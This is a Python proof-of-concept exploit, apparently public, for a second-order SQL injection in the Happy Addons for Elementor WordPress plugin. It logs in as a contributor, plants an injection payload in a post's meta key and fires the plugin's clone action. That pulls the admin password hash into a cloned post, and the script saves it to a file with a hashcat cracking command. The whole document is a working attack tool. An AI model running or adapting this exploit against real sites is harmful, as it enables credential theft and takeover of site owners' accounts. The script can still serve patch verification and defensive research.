#!/usr/bin/env python3 """ CVE-2025-68999 - Happy Addons for Elementor <= 3.20.4 Authenticated (Contributor+) Second-Order SQL Injection Author : iwd (Alaaeddine Knani) Requires: pip install requests """ import re import sys import requests R = "\033[31m" G = "\033[32m" B = "\033[34m" Y = "\033[33m" W = "\033[0m" def log(m): print(f"{B}[*]{W} {m}") def ok(m): print(f"{G}[+]{W} {m}") def warn(m): print(f"{Y}[!]{W} {m}") def fail(m): print(f"{R}[-]{W} {m}"); sys.exit(1) def banner(): print(f""" {R} CVE-2025-68999{W} - Happy Addons for Elementor Second-Order SQL Injection / Contributor+ author: iwd """) def exploit(target, username, password): target = target.rstrip("/") s = requests.Session() s.headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" # 1. Authenticate log(f"authenticating as {username} ...") s.get(f"{target}/wp-login.php", timeout=10) r = s.post(f"{target}/wp-login.php", data={ "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1", }, allow_redirects=True, timeout=10) if not any("wordpress_logged_in" in c.name for c in s.cookies): fail("login failed - check credentials or 2FA") ok("authenticated") # 2. Get post editor - extract nonces log("fetching post editor ...") r = s.get(f"{target}/wp-admin/post-new.php", timeout=10) post_nonce = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', r.text) meta_nonce = re.search(r'"_ajax_nonce-add-meta"\s+value="([a-f0-9]+)"', r.text) if not post_nonce: fail("could not extract _wpnonce - does this account have edit_posts?") post_nonce = post_nonce.group(1) meta_nonce = meta_nonce.group(1) if meta_nonce else post_nonce # 3. Store the malicious meta_key # # duplicate_meta_entries() later reads this key back and concatenates it # directly into the raw INSERT query without escaping. # The payload breaks out of the current VALUES tuple and injects a second # row whose meta_value is the result of a subquery. # log("saving draft with payload as meta_key ...") payload = ( "x'), (0, 'leaked_hash', " "(SELECT user_pass FROM wp_users WHERE user_login='admin')), " "(0, 'z', 'z" ) r = s.post(f"{target}/wp-admin/post.php", data={ "action": "editpost", "post_type": "post", "post_status": "draft", "post_title": "test", "_wpnonce": post_nonce, "_ajax_nonce-add-meta": meta_nonce, "metakeyinput": payload, "metavalue": "x", "addmeta": "1", }, allow_redirects=True, timeout=10) post_id = re.search(r"post=(\d+)", r.url) or re.search(r"post=(\d+)", r.text) if not post_id: fail("could not extract post ID after save") post_id = post_id.group(1) ok(f"post {post_id} saved - payload is now in wp_postmeta") # 4. Grab clone nonce from the posts list log("fetching clone nonce ...") r = s.get(f"{target}/wp-admin/edit.php", timeout=10) nonce = re.search( rf"ha_duplicate_thing&post_id={post_id}&_wpnonce=([a-f0-9]+)", r.text ) if not nonce: fail("clone nonce not found - is Happy Addons active and Happy Clone enabled?") nonce = nonce.group(1) ok(f"nonce: {nonce}") # 5. Fire the clone # duplicate_meta_entries() reads the stored meta_key and concatenates # it into the raw INSERT query - injection executes here log(f"triggering Happy Clone on post {post_id} ...") s.get(f"{target}/wp-admin/admin.php", params={ "action": "ha_duplicate_thing", "post_id": post_id, "_wpnonce": nonce, }, allow_redirects=True, timeout=10) ok("clone fired - injection executed") # 6. Read the extracted hash from the cloned post log("reading leaked_hash from cloned post ...") r = s.get(f"{target}/wp-admin/edit.php", timeout=10) all_ids = list(dict.fromkeys(re.findall(r"post=(\d+)", r.text))) clone_id = next((i for i in all_ids if i != post_id), None) if not clone_id: fail("could not find cloned post ID") r = s.get(f"{target}/wp-admin/post.php", params={"post": clone_id, "action": "edit"}, timeout=10) h = None idx = r.text.find("leaked_hash") if idx != -1: h = re.search(r'value="(\$P\$[^"]+)"', r.text[idx:idx + 800]) if not h: h = re.search(r'(\$P\$[A-Za-z0-9./]{31})', r.text) if h: pw_hash = h.group(1) ok(f"admin hash: {G}{pw_hash}{W}") with open("hash.txt", "w") as f: f.write(pw_hash + "\n") ok("saved to hash.txt") print(f"\n crack with: hashcat -m 400 hash.txt rockyou.txt\n") else: warn("hash not in response - check manually:") warn(f" {target}/wp-admin/post.php?post={clone_id}&action=edit") warn("look for a custom field named 'leaked_hash'") if __name__ == "__main__": banner() if len(sys.argv) != 4: print(f" usage: python3 poc.py ") print(f" example: python3 poc.py https://target.com contributor p4ss\n") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])